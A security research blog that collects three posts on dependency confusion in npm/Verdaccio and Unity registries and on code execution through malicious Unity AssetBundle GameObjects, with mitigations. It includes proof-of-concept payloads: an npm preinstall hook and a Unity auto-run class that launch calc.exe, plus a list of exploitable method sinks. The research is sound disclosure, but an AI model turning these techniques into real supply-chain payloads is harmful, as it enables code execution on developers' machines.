Normal view

There are new articles available, click to refresh the page.
Before yesterdayInclude Security Research Blog

Dependency Confusion: When Are Your npm Packages Vulnerable?

This post follows up on the recent blog post by Alex Birsan which highlighted serious problems with how some programming language package managers (npm, RubyGems, and Python’s pip) resolve and install dependencies. Alex described possible causes for pip and RubyGems, but the details regarding npm were a bit less clear so we sought to help our clients and the greater security & tech communities with the information below. In this post we’ll go beyond the tidbits of what’s been discussed thus far and get into the details of this type of attack in npm.

We’ll cover dependency confusion in npm and how to remediate this security concern in Verdaccio; the most popular self-hosted npm package indexes/registries based on stars on GitHub. In short, Verdaccio allows developers and organizations to host their own software packages to be included as dependencies in projects. This allows the organization to keep proprietary, non-public code on their own servers and only download public libraries when needed.

Here’s a quick summary for those that want to skip the technical details:

  • Dependency Confusion vulnerabilities within npm appear to be related to unsafe default behavior within private registry servers for internal packages (vs. within npm itself)
  • As an example, Verdaccio proxies to npmjs.org (the public registry) for updates to internally published packages, opening up developers using this registry to Dependency Confusion attacks
  • To mitigate security concerns related to dependency confusion for those using the Verdaccio self-hosted npm package index, IncludeSec has found that modifying the Verdaccio configuration so that no internal packages are proxied can mitigate risk (see example below). Other self-hosted npm registries should be reviewed to assess for similar behavior. Other examples of self-hosted private registries that we haven’t explored yet are cnpm, npm-register, and sinopia. Sinopia is the pre-fork origin of Verdaccio and likely has the same behaviors.
  • If you think you might be vulnerable to Dependency Confusion, Confused is an excellent tool for detecting unclaimed package names in your projects. Running it is as simple as pointing it to your local package.json:
C:\Users\nick\Documents\vuln-app>confused package.json
Issues found, the following packages are not available in public package repositories:
 [!] includesec-dependency-confusion

Note: The concept of dependency proxying is an expected default feature in Verdaccio and not considered to be a vulnerability by the package maintainer team. Verdaccio recommends reading the best practices guide and applying these mitigations prior to deploying the registry in your environment. That being said, IncludeSec always recommends secure-by-default configurations and “make it hard to shoot yourself in the foot” application behavior for Verdaccio and all software designs. For example: dangerouslySetInnerHTML() in React lets a tech team know they’re doing something that could be very wrong.

Dependency Confusion in npm

In the case of pip and RubyGems, one of the potential root causes was support for split package indexes. This causes the package manager to check both internal indexes as well as public ones, and install whichever package has the highest version number. This means an attacker can claim the package name on the public index if the organization has not yet done so and publish a malicious package with a high version number, causing the clients to install the malicious version when installing dependencies for a package. 

npm is notably different from pip and RubyGems, as there is no built-in support for split package indexes. When running npm install or npm update to install dependencies, only one registry is ever checked and used to download packages. So why is npm vulnerable to this attack? 

The answer is: npm itself isn’t, but a private package registry server might be!

Case Study: Verdaccio

Verdaccio is one example of a popular, open-source npm registry which organizations can use to self-host internal packages. Here we used Verdaccio as a case study to provide a specific real-world demonstration about this vulnerability and some ways to mitigate it. 

To create an example of this vulnerability, the following simple package was created and version 1.0.0 was published to a local Verdaccio instance:

{
    "name": "includesec-dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Below is the package.json file for a basic application that depends on the vulnerable package:

{
    "name": "vuln-app",
    "version": "1.0.0",
    "description": "A small app to demonstrate dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT",
    "dependencies": {
      "express": "^4.17.1",
      "includesec-dependency-confusion": "^1.0.0"
    }
  }

The ^ operator in the version number tells npm only to install versions compatible with 1.0.0, which means any version > 2.0.0 would be ignored when updating. This would prevent an attacker from exploiting this vulnerability by uploading a package with version 99.0.0, although version 1.99.0 would still work.

Now, when the dependencies are installed with npm install, Verdaccio checks for the package at https://registry.npmjs.org even if it’s hosted locally, as shown in the HTTP request and response below:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 404 Not Found
Date: Tue, 16 Feb 2021 14:38:39 GMT
Content-Type: application/json
Content-Length: 21
Connection: close
Age: 44
Vary: Accept-Encoding
Server: cloudflare

{"error":"Not found"}

This suggests that Verdaccio uses a split index approach to resolve package updates by default, even though the user’s local npm client doesn’t. To confirm this, the following malicious version of the package was published to the public npmjs registry:

{
    "name": "includesec-dependency-confusion",
    "version": "1.1.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1",
      "preinstall": "c:\\windows\\system32\\calc.exe"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Note that this proof-of-concept uses a preinstall script to execute the payload, which will cause it to be executed even if the installation fails or the application is never actually run. Now when a client updates the dependencies with npm update or installs them with npm install, Verdaccio will check the public npmjs.org registry, download the latest (malicious) version of the package, and serve it to the user, causing the calculator payload to execute:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 200 OK
Date: Tue, 16 Feb 2021 14:51:39 GMT
Content-Type: application/json
Connection: close

…

  "time":{
     "created":"2021-02-16T14:50:23.935Z",
     "1.1.0":"2021-02-16T14:50:24.067Z",
     "modified":"2021-02-16T14:50:27.035Z"
  },
  "maintainers":[
     {
        "name":"njf-include",
        "email":"[email protected]"
     }
  ],
  "description":"DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
  "author":{
     "name":"Nick Fox"
  },
  "license":"MIT",
  "readme":"ERROR: No README data found!",
  "readmeFilename":""
}

The following screenshot shows the malicious payload being executed on the client:

As shown above, the default behavior on Verdaccio (and likely other self-hosted npm registry solutions,) is to proxy to the public npmjs registry for package updates, even if those packages are already hosted internally. The following snippet from the default configuration file confirms this:

https://github.com/verdaccio/verdaccio/blob/master/conf/default.yaml#L62

packages:

    ...
    
      '**':
        # allow all users (including non-authenticated users) to read and
        # publish all packages
        #
        # you can specify usernames/groupnames (depending on your auth plugin)
        # and three keywords: "$all", "$anonymous", "$authenticated"
        access: $all
    
        # allow all known users to publish/publish packages
        # (anyone can register by default, remember?)
        publish: $authenticated
        unpublish: $authenticated
    
        # if package is not available locally, proxy requests to 'npmjs' registry
        proxy: npmjs

The comment at the bottom might seem a bit misleading. This configuration causes Verdaccio to proxy requests to the npmjs registry for everything, even if the package is already published locally (as demonstrated above).

Mitigation on Verdaccio

So how can this be mitigated? The documentation provides an example configuration for disabling the npmjs proxy for specific packages:

https://verdaccio.org/docs/en/packages#blocking-proxying-a-set-of-specific-packages

packages:
    'jquery':
      access: $all
      publish: $all
    'my-company-*':
      access: $all
      publish: $authenticated
    '@my-local-scope/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

This configuration disables proxying for the “jquery”, “my-company-*”, and “@my-local-scope” packages and scopes, therefore mitigating dependency confusion vulnerabilities in those packages. Applying this to the proof-of-concept application, the following configuration will do:

packages:
    'includesec-dependency-confusion':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
  
  ...
  
    '**':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
      proxy: npmjs

After making this change and restarting Verdaccio, the following HTTP request and response triggered by npm update show that only the correct, internal version 1.0.0 of the package is installed:

GET /includesec-dependency-confusion HTTP/1.1
npm-in-ci: false
user-agent: npm/7.5.1 node/v15.8.0 win32 x64
pacote-version: 11.2.4
pacote-req-type: packument
pacote-pkg-id: registry:includesec-dependency-confusion
accept: application/vnd.npm.install-v1+json; q=1.0, application/json; q=0.8, */*
npm-command: update
Connection: close
Accept-Encoding: gzip, deflate
Host: localhost:4873

HTTP/1.1 200 OK
X-Powered-By: verdaccio/4.11.0
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 16 Feb 2021 15:29:20 GMT
Connection: close
Content-Length: 1267

{
  "name": "includesec-dependency-confusion",
  "versions": {
    "1.0.0": {
      "name": "includesec-dependency-confusion",
      "version": "1.0.0",
      "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
      "main": "index.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1"
      },

     … 

  "dist-tags": {
    "latest": "1.0.0"
  },
  "_rev": "3-dc1db45b944128de",
  "_id": "includesec-dependency-confusion",
  "readme": "ERROR: No README data found!",
  "_attachments": {}
}

Additional Mitigation Steps

This post from GitHub breaks down the steps needed to mitigate Dependency Confusion vulnerabilities, and modifying the Verdaccio configuration as we’ve shown in this post handles one of their guidance steps: Step 3 – Take care when proxying. Ensuring all internal packages are scoped also helps mitigate these attacks. Scoped packages are those prefixed with @username — only the registry user with that username is allowed to publish packages under that scope, so an attacker would have to compromise that npmjs.org registry account in order to claim packages. Below is an example of a scoped package:

{
    "name": "@includesec/dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

When using Verdaccio, this also has the benefit of making it easy to disable proxying for all packages within your organization’s scope, instead of having to declare each package separately.

packages:
    '@includesec/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

See this whitepaper from Microsoft (Secure Your Hybrid Software Supply Chain) for information about other possible mitigations.

Summary

This post explores one potential root cause of Dependency Confusion vulnerabilities within the npm ecosystem–that is, unsafe default behavior within the private registry server being used. For example, Verdaccio proxies to npmjs.org for updates to internally published packages by default, which opens up developers to Dependency Confusion attacks when internal package names have not been claimed on the public registry.

To mitigate this issue, IncludeSec recommends modifying the Verdaccio configuration so that no internal packages are proxied. Other self-hosted npm registries should be reviewed to ensure similar behavior.

Additionally, internal packages should be scoped to make it more difficult for an adversary to claim the package names on public registries.

Also stay tuned; we’ll probably update this post soon with a v2 of how to integrate the “confused” tool into a CI/CD pipeline!

The post Dependency Confusion: When Are Your npm Packages Vulnerable? appeared first on Include Security Research Blog.

Dependency Confusion Vulnerabilities in Unity Game Development

The Unity game engine has a package manager which allows packaged code and assets to be imported into a game, with dependencies automatically handled. Originally this was used only for Unity-produced packages, such as the GUI system. Later Unity began allowing private registries so that game studios can maintain their own internal packages. Because of the recent hubbub about dependency confusion vulnerabilities, I wondered whether Unity developers and game studios using private package registries might be vulnerable?

First, if you’re unfamiliar with dependency confusion vulnerabilities, you may want to check out the original article about the topic and our blog post about how to mitigate it in Verdaccio (the most popular private registry server.) Essentially it is a vulnerability where an attacker overrides what was meant to be a private internal package by publishing a package of the same name on a public package registry with a larger version number. This allows the attacker to execute code on the machine of anyone who imports the package.

Unity package registries, referred to as UPM, work using the same protocol as the Node package manager (NPM). A note on their documentation reads:

Warning: When you set up your own package registry server, make sure you only use features that are compatible with Unity’s Scoped Registries. For example, Unity doesn’t support namespaces using the @scope notation that npm supports.

Since namespaced packages are one of the primary defenses against dependency confusion, this was a little concerning. In our recent blog post about dependency confusion and Verdaccio, IncludeSec researcher Nick Fox found that by default, Verdaccio will search both locally and in the public NPM registry for packages, and then choose whichever has a higher version. Can Unity packages be published to the public NPM registry? Indeed, there are several of them. Is it possible to use this to induce dependency confusion in Unity? I endeavored to find out!

Before we continue further we wanted to note that a preview of this blog post was shared with the Unity security team, we thank them for their review and internal effort to update customer facing documentation as a result of our research. Unity formerly recommended using Verdaccio to host private registries, but as of Apr 27 2021 the current documentation no longer recommends a specific registry server hence the setup (and risk!) of standing up a private registry falls on the responsibility of a game studio’s IT department. However, most teams are still likely to use Verdaccio, so this blog post will use it for testing. Other registry servers may have similar proxying behavior. Below we’ll walk through how this situation can be exploited.

Creating a normal private package

First I wanted to create a normal package to publish on my local Verdaccio registry, then I will make a malicious one to try to override it. My normal package contains the following files

includesec.jpeg
includesec.jpeg.meta
package.json

includesec.jpeg is just a normal texture file (the IncludeSec logo). The package.json looks like:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "IncludeSec logo",
  "version": "1.0.0",
  "unity": "2018.3",
  "description": "IncludeSec logo",
  "keywords": [ ],
  "dependencies": {}
}

I published it to my local Verdaccio registry like this:

NormalPackage$ npm publish --registry http://127.0.0.1:4873
npm notice
npm notice 📦  [email protected]
npm notice === Tarball Contents ===
npm notice 20.5kB includesec.jpeg
npm notice 212B   package.json
npm notice 2.1kB  includesec.jpeg.meta
npm notice === Tarball Details ===
npm notice name:          com.includesecurity.unitypackage
npm notice version:       1.0.0
npm notice package size:  19.8 kB
npm notice unpacked size: 22.8 kB
npm notice shasum:        db99c51277d43ac30c6e5bbf166a6ef16815cf70
npm notice integrity:     sha512-OeNVhBgi5UxEU[...]sm+TlgkitJUDQ==
npm notice total files:   3
npm notice
+ [email protected]

Installing in Unity

The Unity documentation describes how to set up private registries, involving adding some lines to Packages/manifest.json. My Packages/manifest.json file looks like the following:

{
    "scopedRegistries": [{
        "name": "My internal registry",
        "url": "http://127.0.0.1:4873",
        "scopes": [
          "com.includesecurity"
        ]
    }],
      "dependencies": {
          ...
      }
}

The above configuration will cause any packages whose name begins with com.includesecurity to use the private registry at http://127.0.0.1:4873 (documentation about Unity scoped registry behavior can be found here). The package I uploaded previously now shows up in the Unity Package Manager window under “My Registries”:

Creating a malicious package

The next step is creating a malicious package with the same name but a higher version, and uploading it to the public NPM registry. I created a malicious package containing the following files:

com.includesecurity.unitypackage.asmdef
com.includesecurity.unitypackage.asmdef.meta
Editor/
Editor/com.includesecurity.unitypackage.editor.asmref
Editor/com.includesecurity.unitypackage.editor.asmref.meta
Editor/MaliciousPackage.cs
Editor/MaliciousPackage.cs.meta
Editor.meta
package.json
package.json.meta

Below is MaliciousPackage.cs which will run a “malicious” command when the package is imported:

using UnityEngine;
using UnityEditor;

[InitializeOnLoad]
public class MaliciousPackage {
    static MaliciousPackage()
    {
        System.Diagnostics.Process.Start("cmd.exe", "/c calc.exe");
    }
}

I also had to set up some assemblies so that the package would run in editor mode — that’s what the asmdef/asmref files are.

Finally I set up a package.json as follows. Note it has the same name but a higher version than the one published to my local Verdaccio registry. The higher version will cause it to override the local one:

{
  "name": "com.includesecurity.unitypackage",
  "displayName": "Testing",
  "version": "2.0.1",
  "unity": "2018.3",
  "description": "For testing purposes -- do not use",
  "keywords": [ ],
  "dependencies": {}
}

Results

I uploaded the malicious package to the public NPM registry. The Unity package manager now looked like:

Uh oh. It’s showing the malicious package uploaded to the public repository instead of the one uploaded to the private repository. What happens now when I import the package into Unity?

It turns out Unity games using private package registries can be vulnerable to dependency confusion. A game studio that uses a private package registry configured to also pull from the public npmjs registry (which is the default configuration of Verdaccio) is vulnerable. An attacker who knows or guesses any of that team’s private package names could upload one with a higher version to the public registry and cause code to be run on developer machines (as well as conceivably being packaged into the final game builds).

Note that I tested and this does not affect the default Unity-hosted packages — only packages on a private registry.

Mitigation

How can a game developer ensure this isn’t a security concern for them? Because the Unity package manager client doesn’t support package namespaces, the standard way of preventing this attack doesn’t work with Unity. Instead, mitigations have to be applied at the package registry server level. IncludeSec researcher Nick Fox provided excellent information about how to do this for Verdaccio on our previous blog post on dependency confusion in private NPM indexes. In general, whatever package registry server is being used, it should be configured to either:

  1. Not pull from the public NPM registry at all, or…
  2. If access to the public registry is desired, then the internal packages should be prefixed with a certain string (such as “com.studioname”) and the server should be configured not to pull any packages with that prefix from the public NPM registry

The post Dependency Confusion Vulnerabilities in Unity Game Development appeared first on Include Security Research Blog.

Hacking Unity Games with Malicious GameObjects, Part 2

13 September 2022 at 16:00

Hello again!

In the last post I talked about a way I found to execute arbitrary code in Unity using no custom scripts, only built-in components. This allowed potential attacks against Unity games that load AssetBundles from untrusted sources since, although AssetBundles can’t include custom scripts, they can include GameObjects with these built-in components attached. The attack I outlined in that blog used UnityEvents, which are primarily exposed via Unity’s built-in UI elements, but the attack required user interaction to trigger.

In this post I am going to discuss a zero-click method of triggering UnityEvents, along with some additional things I’ve learned on this topic. I will also introduce a new exploit that does not use UnityEvents and removes one of the limitations of the UnityEvent-based attack (while adding limitations of its own). Finally, I will give some updated remediation thoughts.

Zero-Click Exploit

I’ve been seeing more and more games using AssetBundles for modding functionality and user-generated content. In some cases these games did not use standard mouse input, or did not use standard ways of rendering UI elements, so getting a user to click a button or a collider was not feasible. I needed another way to prove that this was even a concern for those games. What I came up with is very simple:

  1. Add a Unity UI Toggle, along with an EventSystem
  2. Create an autoplaying animation that toggles the UI Toggle
  3. Unity will fire the onValueChanged UnityEvent when the animation changes the Toggle state

Here is an example of this in action:

Additional Attack

While experimenting with animations for the zero-click exploit, I came across a Unity feature I was previously unaware of: AnimationEvents. AnimationEvents let you invoke a function on any components attached to the object running the animation when a certain keyframe in the animation has been reached. The function must have the following signature: /*(any return type)*/ MethodName( (float|string|int|object|AnimationEvent) param ).

What’s interesting about this is that, unlike with UnityEvents, you can call a method with any return type. This could open up some possibilities for calling non-void functions that perform useful actions for the attacker. However, the UnityEvent attack discussed in the last post mainly relies on calling static methods, and it did not seem possible to call static methods with an AnimationEvent. Are there any actual attacks, then, that we can pull off using this?

As I briefly mentioned in my last post, GameObjects in AssetBundles can use not only built-in components, but also any components that exist in the project that loads the bundle. Most likely, modders will not have access to the full source code of the game (including meta files containing the script GUIDs), so they won’t be able to use any custom components written by the game developers. However, they will be able to access any components in the game that come from Asset Store assets, as they can simply download these components for themselves. Similarly, they could access any components that come from other public sources (GitHub, etc).

What we need then is for one of these components to have a function of the correct signature that does something interesting. If it could run shell commands or something that would be awesome but it could also be vulnerable in other ways — perhaps making arbitrary HTTP requests from the user’s computer, deleting files, what have you. Trying to come up with an exploit here involves pouring over all of the publicly-available MonoBehaviours in the project for methods with the correct signature. Once you find one that does something interesting, you attach it to the GameObject with the animation and hook it up to the AnimationEvent. This exploitation would be very game specific, depending on what external packages are imported into the project, so there is no generic technique that applies to all games.

You can get creative here, but some things to look for in potentially vulnerable methods might be:

  • System.Diagnostics.Process — code execution
  • Application.OpenURL() — code execution (described in the last post)
  • System.Xml.XmlTextReader — Unity uses .NET 2.0, and all versions of this library prior to 4.5.2 are vulnerable to XML External Entity (XXE) attacks, so if you can get user input into one of these you can get XXE. In my limited testing, XXE only seemed to work in builds of the game using the IL2CPP scripting backend, not in the Unity editor itself
  • WWW, UnityWebRequest, etc — HTTP requests
  • UnityEngine.Windows.File, System.IO.File — deleting/creating/modifying local files

Vulnerable Versions

I recently discovered that UnityEvents could only call static methods starting with Unity 2020.x — before that, they were limited to methods on concrete MonoBehaviours attached to GameObjects. When testing games based on Unity 2019.x or below, a similar approach would have to be taken for UnityEvents as AnimationEvents — looking through the codebase for publicly-available functions of the correct signature on MonoBehaviours. In this case, AnimationEvents are far more flexible, since they don’t require a void return type, so you might as well just look for methods suitable for an AnimationEvent-based exploit (e.g. methods on a MonoBehaviour-derived class with the correct signature).

Remediation

In my last post I gave a potential remediation that involved traversing a prefab GameObject and removing any vulnerable components before instantiating. Some people have rightly pointed out that a better approach would be to reject any GameObjects that have denylisted components instead of attempting to sanitize — I totally agree with this. Even better would be to reject any objects containing non-allowlisted components, if feasible. These approaches might look something like this:

private static bool ValidateAllowlist(GameObject prefab)
{
    var allowlist = new System.Type[] {
        typeof(UnityEngine.Transform),
        typeof(UnityEngine.Collider),
        typeof(UnityEngine.MeshFilter),
        typeof(UnityEngine.Renderer)
    };
    foreach (var component in prefab.GetComponentsInChildren(typeof(Component))) {
        bool inAllowlist = false;
        foreach (var type in allowlist) {
            if (type.IsAssignableFrom(component.GetType())) {
                inAllowlist = true;
                break;
            }
        }
        if (!inAllowlist) {
            Debug.LogWarning("Prefab contained non-allowlisted component " + component.GetType().ToString());
            return false;
        }
    }
    return true;
}

private static bool ValidateDenylist(GameObject prefab)
{
    var denylist = new System.Type[] {
        typeof(UnityEngine.EventSystems.EventTrigger),
        typeof(UnityEngine.EventSystems.UIBehaviour),
        typeof(UnityEngine.Animation),
        //include these too if you use Bolt:
        //typeof(Bolt.FlowMachine),
        //typeof(Bolt.StateMachine),
    };
    foreach (var componentType in denylist) {
        if (prefab.GetComponentsInChildren(componentType, true).Length != 0) {
            Debug.LogWarning("Prefab contained denylisted component " + componentType.ToString());
            return false;
        }
    }
    return true;
}

public static Object SafeInstantiate(GameObject prefab)
{
    if (!ValidateAllowlist(prefab)) {
        return null;
    }
    return Instantiate(prefab);
}

public void Load()
{
    string evilpath = Application.dataPath + "/AssetBundles/evil";
    AssetBundle evilab = AssetBundle.LoadFromFile(evilpath);
    GameObject evilGO = evilab.LoadAsset<GameObject>("Exploit");
    SafeInstantiate(evilGO);
    evilab.Unload(false);
}

I was wondering what kind of performance overhead this might add. To get a rough idea, I created a fairly complex prefab, about 1000 GameObjects with three components each, nested 15 levels deep. Running this a bunch of times and comparing, I found that SafeInstantiate() added about 12% overhead compared to plain Instantiate(). Prefab sizes are obviously game dependent (e.g. a game that lets you import user-created levels might have prefabs much bigger than that, a game that lets you import user-created avatars much smaller), so mileage may vary on this figure.

As part of vendor coordination we discussed this post with the Unity team, the Unity Security Team has updated their article with suggested mitigations and we recommend Unity developers read the article for further guidance.

The post Hacking Unity Games with Malicious GameObjects, Part 2 appeared first on Include Security Research Blog.

❌
❌